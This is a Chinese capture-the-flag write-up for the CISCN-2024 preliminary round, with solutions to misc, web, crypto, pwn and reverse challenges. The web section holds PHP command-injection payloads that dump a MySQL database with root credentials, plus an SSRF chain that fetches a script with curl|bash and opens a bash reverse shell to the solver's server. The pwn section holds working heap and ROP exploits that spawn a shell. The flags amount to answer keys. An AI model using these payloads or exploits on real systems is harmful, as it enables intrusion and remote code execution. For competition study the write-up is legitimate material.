第十七届全国大学生信息安全竞赛创新实践能力赛初赛(CISCN-2024部分WP)

目录

一、Misc

1、火锅链观光打卡

2、神秘文件

3、Power Trajectory Diagram

4、通风机

二、Web

1、Simple_php

2、easycms_revenge

三、Crypto

1、OvO

2、古典密码

四、pwn

1、orange_cat_diary

2、gostack

五、Reverse

1、asm_re

2、androidso_re

3、whereThel1b


一、Misc

1、火锅链观光打卡

没什么多说的,知识问答题

兑换 NFT

Flag{y0u_ar3_hotpot_K1ng}

2、神秘文件

首先是一些简单容易找到的,按照提示规则进行 base64、维吉尼亚、凯撒等解码即可

PPT 里面找到了很多东西:

改zip后缀,在 world 文档里有发现:

图片:

总共可以得到:

part2:675efb

Payt4:6f-40

pArt5:5f-90d

ParT6:d-2

parT9:deH

PARt10:9}

下面的一些就需要更加仔细了:

在压缩包里找到了二进制文件

i13POMdzEAzHfy4dGS+vUA==

这里是 base64+RC4+base64

得到 PArt3:3-34

ppt 文件属性:

密文:QFCfpPQ6ZymuM3gq

加密方式:bifld 

Key:lanjing;

得到Part1:flag{e

ppt母版:

去掉Bb13后解 base64

得到 paRt8:87e

选择窗格:

Rot13+base64

得到PART7=22b3

拼接得到最终 flag:

flag{e675efb3-346f-405f-90dd-222b387edee9}

3、Power Trajectory Diagram

测试代码:

import numpy as np
import matplotlib
import matplotlib.pyplot as plt
matplotlib.use('tkAgg')
data = np.load("./attachment.npz")
print(data.files)
aa = data[data.files[0]]
bb = data[data.files[1]]
cc = data[data.files[2]]
dd = data[data.files[3]]
print(len(aa), aa)
print(len(bb), bb)
print(len(cc), cc)
print(len(dd), dd)

for i in range(len(dd)):
    plt.scatter([i for i in range(len(dd[i]))], dd[i])
    plt.show()

从 npz 文件中提取到四个文件的值,output 为空,其他 3 个文件提取的数组长度都是 520,根据   index 每 40 个可得出一个明文,大致判断共有 13 个明文。

input是一个表

output 为空

trace 里的数据都是小数

尝试对 trace 里的数据画点图:

发现每组数据的最大值有很多点,最小值的点只有几个,所以我们尝试找出trace每组数据的最小值的下标:

import numpy as np
data = np.load("./attachment.npz")
dd = data[data.files[3]]

for i in range(len(dd)):
    min_index = np.argmin(dd[i])
    print(f"Minimum index for group {i}: {min_index}")

除了最后一组数据全为 985,其余数据中都有其他不同的数字

用每四十组数据的最小值的下标再画一次图分析,发现最大值只有一个,所以我们需要继续找最大值的下标,然后再从input表中获取对应的字符即可:

exp:

import numpy as np
import matplotlib.pyplot as plt

f = np.load('./attachment.npz')
index = f['index']
ip = f['input']
tr = f['trace']

flag = ""
for _ in range(13):
    t = []
    table = ip[40*_:40*(_+1)]
    for i in range(40):
        # 每个列表画一个散点图,发现最小值
        # plt.scatter([i for i in range(len(tr[_*40+i]))], tr[_*40+i])
        # plt.show()

        # 获取该列表的最小值的下标
        min = np.argmin(tr[_*40+i])

        # 将最小值的下标插入新列表
        t.append(min)

    # 用 40 个列表的最小值的下标作为数据,画图,发现有最大值
    for i in range(len(t)):
        plt.scatter([i for i in range(len(t))], np.array(t))
        plt.show()

    # 求最大值的下标
    mins = np.argmax(t)

    # 用下标从表里取字符
    ind = table[mins]
    # 把字符加到flag里
    flag += ind
print(flag)

得到:_ciscn_2024_a

由于前面最后一组数据全是 985,因此最后一组数据得出的 a 不算

去掉 a 得到最终flag为:flag{_ciscn_2024_}

4、通风机

补全文件头:47 4A 4B

使用西门子工控软件加载 mwp 文件

在符号表下面存在 base64 编码

提取数据:ZmxhZ3syNDY3Y2UyNi1mZmY5LTQwMDgtOGQ1NS0xN2RmODNlY2JmYzJ9

解码得到:flag{2467ce26-fff9-4008-8d55-17df83ecbfc2}

二、Web

1、Simple_php

这里过滤东西太多了,基本没什么系统命令能直接执行

使用十六进制编码绕过:system('ls');

Payload:cmd=php -r eval(hex2bin(substr(_73797374656d28276c7327293b,1)));

执行成功

尝试读取根目录下的 flag:system('cat /f*');

Payload:cmd=php -r eval(hex2bin(substr(_73797374656d2827636174202f662a27293b,1)));

但是很遗憾没有

由于这里没有给 flag 路径,我们只能从数据库里面读,用户名和密码都是 root

查库:

cmd=php -r eval(hex2bin(substr(_6563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d652027757365205048505f434d533b73686f77206461746162617365733b27603b,1)));

查表:

cmd=php -r eval(hex2bin(substr(_6563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d652027757365205048505f434d533b73686f77207461626c65733b27603b,1)));

存在一个名为 F1ag_Se3Re7 的表

直接查该表下的所有内容:

echo `mysql -u root -p'root' -e 'use PHP_CMS;select * from F1ag_Se3Re7;'`;

编码后 payload:

cmd=php -r eval(hex2bin(substr(_6563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d652027757365205048505f434d533b73656c656374202a2066726f6d20463161675f5365335265373b27603b,1)));

拿到 flag{ec950ff9-ffa3-4bf2-8d32-cac3392c4ff2}

2、easycms_revenge

由第一天的这个题目的提示,只有通过 web 服务本地访问 /flag.php 路径才能进行代码执行

去 github 找源码, 发现了一个生成二维码的方法 qrcode,可以 rce

先在公网上启一个 php 的web服务,重定向访问到 127.0.0.1 的flag.php路径

直接构造反弹shell

启动完成,公网服务器开监听监测弹回的 shell

回到 web 题目 构造请求

将 thumb 参数替换为自己启动的 web 服务重定向接口路径

构造payload:

/?s=api&c=api&m=qrcode&text=1&thumb=http://服务器ip

查看服务器,已经反弹 shell 成功,寻找 flag,在根目录下执行 /readflag /flag

公网服务器 index.php:

GIF89a
<?php

 echo "GIF89a";

 $url = "http://127.0.0.1/flag.php?cmd=curl 服务器ip/shell.html|bash";

 header('location:'.$url,true,302);

 exit();

?>

Shell.html:

bash -i >& /dev/tcp/服务器ip/7777 0>&1

flag{db1a0387-4dfe-400e-af2e-9cd91b96f2bf}

三、Crypto

1、OvO

给的 e 其实就是 d,只是结果是移位后的输出,n 很大无法分解,但 kk 与 rr 很小,由 rr= e//n 即可推出 rr 和 kk,又由 e + x + kk*p + rr*((p+1)* (q+1))+ 1 = 65537,将 × 设为 0 和 2^200 然后联立求解一元二次方程,就能求出 p, q 的上下界,这样就有p 和q 的高位,枚举未知位尝试coppersmith 直到分解出结果,最后代入求 e 和 d,进而求得flag。

cop 攻击,exp:

# SageMath script to factor n and decrypt the message
n = 111922722351752356094117957341697336848130397712588425954225300832977768690114834703654895285440684751636198779555891692340301590396539921700125219784729325979197290342352480495970455903120265334661588516182848933843212275742914269686197484648288073599387074325226321407600351615258973610780463417788580083967
e = 37059679294843322451875129178470872595128216054082068877693632035071251762179299783152435312052608685562859680569924924133175684413544051218945466380415013172416093939670064185752780945383069447693745538721548393982857225386614608359109463927663728739248286686902750649766277564516226052064304547032760477638585302695605907950461140971727150383104
c = 14999622534973796113769052025256345914577762432817016713135991450161695032250733213228587506601968633155119211807176051329626895125610484405486794783282214597165875393081405999090879096563311452831794796859427268724737377560053552626220191435015101496941337770496898383092414492348672126813183368337602023823

def partial_p(p0, n, bits):
    PR.<x> = PolynomialRing(Zmod(n))
    f = p0 + x
    f = f.monic()
    roots = f.small_roots(X=2^(bits+5), beta=0.3)
    
    if roots:
        x0 = roots[0]
        p = gcd(p0 + x0, n)
        return ZZ(p)

def find_p(eh, n, bits):
    RR = RealField(1000)
    PR.<x> = PolynomialRing(RR)
    f = (kk+rr)*x**2 + (rr*(n+1)+65538)*x + rr*n - eh*x
    results = f.roots()
    
    if results:
        for x in results:
            p_high = int(x[0]) >> 4 << 4
            p = partial_p(p_high, n, bits)
            if p and p != 1:
                return p

# Calculating rr and kk based on given e and n
rr = e // n
kk = rr - 2

# Finding p
p = find_p(e, n, 200)
if p:
    q = n // p
    phi_n = (p - 1) * (q - 1)

    # Computing the new e based on kk and rr
    new_e = 65537 + kk * p + rr * ((p + 1) * (q + 1)) + 1
    
    # Computing the private key d
    d = inverse_mod(new_e, phi_n)

    # Decrypting the ciphertext
    m = power_mod(c, d, n)
    print(bytes.fromhex(hex(m)[2:]))
else:
print("Failed to find p.")

拿到 flag{b5f771c6-18df-49a9-9d6d-ee7804f5416c}

2、古典密码

密文:AnU7NnR4NassOGp3BDJgAGonMaJayTwrBqZ3ODMoMWxgMnFdNqtdMTM9

三层解密:埃特巴什+base64+栅栏

拿到 flag{b2bb0873-8cae-4977-a6de-0e298f0744c3}

四、pwn

1、orange_cat_diary

程序中的free和show都只能使用一次.根据提示利用 house of orange.改写top chunk的size,这样下一次申请堆空间,top chunk就变成了unsorted chunk.

add(0x18,'aaaa')

edit(0x20,p64(0xfe1)*4)

add(0x1000,'aaaa')

add(0x408,'')

多申请八个字节,是为了满足这个条件,这样就能修改chunk size了

这里的0xfe1是为了页面对齐.申请0x408,把ptr改到unsorted chunk前面,用show泄露libc后.再通过伪造堆块到malloc_hook附近(这里通过修改fd来实现),把one_gadget写入hook中,这样下次申请堆就能getshell了.

exp:

from pwn import *
#p = process('./pwn')
p = remote('8.147.133.63',38667)
#context.log_level='debug'
libc=ELF('libc-2.23.so')

p.recvuntil('Please tell me your name.')
p.sendline('qwe')
def add(size, data):
  p.recvuntil('Please input your choice:')
  p.sendline('1')
  p.recvuntil('Please input the length of the diary content:')
  p.sendline(str(size))
  p.recvuntil('Please enter the diary content:')
  p.sendline(data)
def fre():
  p.recvuntil('Please input your choice:')
  p.sendline('3')
def show():
  p.recvuntil('Please input your choice:')
  p.sendline('2')
def edit(size, data):
  p.recvuntil('Please input your choice:')
  p.sendline('4')
  p.recvuntil('Please input the length of the diary content:')
  p.sendline(str(size))
  p.recvuntil('Please enter the diary content:')
  p.send(data)

add(0x18,'aaaa')
edit(0x20,p64(0xfe1)*4)
add(0x1000,'aaaa')
add(0x408,'')

show()

p.recv(6)
addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, "\x00")) -0x668
p.recv(2)
addr1 = u64(p.recv(6).ljust(8,'\x00'))-0x20
print hex(addr)
print hex(addr1)
main_arena= libc.sym['__malloc_hook'] +0x10
libc_base=addr-main_arena
print hex(libc_base)
malloc = libc_base + libc.sym['__malloc_hook']
realloc = libc_base + libc.sym['__libc_realloc']
#pl='a'*0x400+p64(0)+p64(0x61)
one=0xf03a4+libc_base
add(0x68,'')
fre()
edit(0x20,p64(malloc-0x23))
add(0x68,'aaaa')
#add(0x68,'a'*(0x13-8)+p64(one)+p64(realloc))
add(0x68,'a'*(0x13)+p64(one))
#gdb.attach(p)
p.interactive()

flag{ceac7d38-0a1d-4818-9d3b-b60bfefdbae1}

2、gostack

在bufio__ptr_Scanner_Scan疑似有栈溢出

输入大量数据进行测试:

找到确切填充数量

找gadget.然后构造rop.先往bss写/bin/sh,然后用syscall去执行

注意,在syscall后执行了一段代码破坏了我们输入的payload

通过填充ret,让程序顺利跳转到第二段payload进行执行

exp:

from pwn import *
context(arch='amd64',os='linux')
elf = ELF('gostack')
libc = elf.libc
ret=0x000000000040201a
syscall = 0x0000000000404043
rax_ret = 0x000000000040f984
rdi_6_ret = 0x00000000004a18a5
rsi_ret = 0x000000000042138a
rdx_ret = 0x00000000004944ec
p=process('./gostack') 
p.recvuntil('message :')
payload = b'\x00'*0x1d0
payload += p64(rdi_6_ret)+p64(0)*6+p64(rsi_ret)+p64(elf.bss()+0x200)+p64(rdx_ret)+p64(0x100)+p64(rax_ret)+p64(0)+p64(syscall)
payload += p64(ret)+p64(ret)+p64(ret)+p64(ret)
payload += p64(rdi_6_ret)+p64(elf.bss()+0x200)+p64(0)*5+p64(rsi_ret)+p64(0)+p64(rdx_ret)+p64(0)+p64(rax_ret)+p64(59)+p64(syscall)
p.sendline(payload)
p.send('/bin/sh\x00')
p.interactive()

flag{6fa5dfc4-b92d-45d0-8a56-4472ec941505}

五、Reverse

1、asm_re

下载得到txt文件,打开发现是ida跑出来的arm的汇编代码,再结合题目名称,这题应该是要读汇编代码了

找到关键部分,整理一下

数据存在__const段里,注意小端法提取一下

然后就可以脚本解出了

exp:

decodechr=''
flag=''
enc=[0x1fd7,0x21b7,0x1e47,0x2027,0x26e7,0x10d7,0x1127,0x2007,0x11c7,0x1e47,0x1017,0x1017,0x11f7,0x2007,0x1037,0x1107,0x1f17,0x10d7,0x1017,0x1017,0x1f67,0x1017,0x11c7,0x11c7,0x1017,0x1fd7,0x1f17,0x1107,0x0f47,0x1127,0x1037,0x1e47,0x1037,0x1fd7,0x1107,0x1fd7,0x1107,0x2787]
for i in enc:
    decodechr=chr((((i-0x1e)^0x4d)-0x14) // 0x50)
    flag+=decodechr
print((flag))

拿到:flag{67e9a228e45b622c2992fb5174a4f5f5}

2、androidso_re

用jadx打开,定位到mainactivity

使用函数legal进行了判断,函数里使用了方法inspect,查看一下

这里关键的两个参数就是key和iv,解压安装包看看so

直接hook

function main() {
        Java.perform(function () {
    
            Java.enumerateClassLoaders({
                onMatch: function (loader) {
                    try {
    
                        var factory = Java.ClassFactory.get(loader);
                        var CheckerClass = factory.use("com.example.re11113.inspect");
                        var key = CheckerClass.getKey();
                        console.log("Key: " + key);
    
                    } catch (e) {
                        // console.log("Error accessing class or method: " + e);
                    }
                },
                onComplete: function () {}
            });
    
        });
    }
    
    setTimeout(main,1000);

package ciscn;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.nio.charset.StandardCharsets;
import java.util.Arrays;
import java.util.Base64;

public class FlagDecryptor {

    private static final String ALGORITHM = "DES/CBC/PKCS5Padding";
    private static final String CHARSET = StandardCharsets.UTF_8.name();

    public static void main(String[] args) {
        try {
            String encryptedFlag = "JqslHrdvtgJrRs2QAp+FEVdwRPNLswrnykD/sZMivmjGRKUMVIC/rw==";
            String decryptedString = decryptFlag(encryptedFlag);
            System.out.println("Decrypted string: " + decryptedString);
        } catch (Exception e) {
            System.err.println("Decryption failed: " + e.getMessage());
        }
    }

    private static String decryptFlag(String encryptedFlag) throws Exception {
        byte[] keyBytes = JniUtils.getKey().getBytes(CHARSET);
        byte[] ivBytes = JniUtils.getIv().getBytes(CHARSET);

        SecretKeySpec key = new SecretKeySpec(Arrays.copyOf(keyBytes, 8), "DES");
        IvParameterSpec iv = new IvParameterSpec(ivBytes);

        Cipher cipher = Cipher.getInstance(ALGORITHM);
        cipher.init(Cipher.DECRYPT_MODE, key, iv);

        byte[] encryptedBytes = Base64.getDecoder().decode(encryptedFlag);
        byte[] decryptedBytes = cipher.doFinal(encryptedBytes);

        return new String(decryptedBytes, CHARSET);
    }

    static class JniUtils {
        public static String getKey() {
            return "A8UdWaeq";
        }

        public static String getIv() {
            return "Wf3DLups";
        }
    }
}

flag{188cba3a5c0fbb2250b5a2e590c391ce}

3、whereThel1b

打开py文件

逻辑很清晰,主要的加密内容肯定是在so文件里面

这个文件有很强的python编译特征,可以考虑进行反编译

特征函数,编写exp:

import base64
import random

random.seed(0)

encry = [108, 117, 72, 80, 64, 49, 99, 19, 69, 115, 94, 93, 94, 115, 71, 95, 84, 89, 56, 101, 70, 2, 84, 75, 127, 68, 103, 85, 105, 113, 80, 103, 95, 67, 81, 7, 113, 70, 47, 73, 92, 124, 93, 120, 104, 108, 106, 17, 80, 102, 101, 75, 93, 68, 121, 26]
keys = [random.randint(0, len(encry)) for _ in range(len(encry))]
flag = [k ^ e for k, e in zip(keys, encry)]
decoded_flag = base64.b64decode(''.join(map(chr, flag)).encode()).decode()

print(decoded_flag)

 flag{7f9a2d3c-07de-11ef-be5e-cf1e88674c0b}

  • 32
    点赞
  • 32
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论
### 回答1: 第17届全国大学生智能汽车竞赛是由中国高等教育学会主办的年度比。该比旨在提高大学生对智能汽车技术的兴趣和研究能力,促进智能汽车技术在中国的发展。参队伍需要设计并建造一辆智能汽车,并在竞赛中展示其在道上的性能。竞赛分为前资格和决两个阶段,选手需要在竞赛中展示其在道上的性能。 ### 回答2: 第17届全国大学生智能汽车竞赛全国高校学生之间的一项重要比活动。该竞赛旨在提升学生在智能汽车领域的科学技术创新能力,培养学生的动手实践与团队协作精神。 该比以团队为单位,参队伍由高校学生自愿组成。比主题包括智能驾驶、智能控制、智能感知和智能决策等方面。参队伍需要从设计到制作全程参与,包括车身结构设计、电路设计、编程等。比内容涵盖汽车自动驾驶、交通场景仿真、人工智能算法开发以及智能车辆的安全性能等多个方面。 比过程分为初赛、决和总决初赛阶段是为了筛选优秀的参队伍,测试他们的车辆在不同场景下的自主行驶能力。决则是对初赛晋级队伍进行进一步的比拼,评估他们的技术水平和创新能力。总决阶段则是最高级别的比,对决出一等奖、二等奖等等各个奖项。 在比过程中,评委们以指导组织和执法者身份全程参与,通过录像、现场点评等形式给予队伍们专业的建议和评价,帮助他们提高技术水平和综合实力。 第17届全国大学生智能汽车竞赛为广大学生提供了一个展示自己才华和创新能力的舞台。通过参与该比,学生们可以学到更多专业知识,提高实践能力,培养团队协作精神,为汽车智能化技术的发展做出贡献。同时,该竞赛也为企业提供了一个寻找优秀人才的机会,为智能汽车领域的发展注入了新鲜血液。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Myon⁶

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值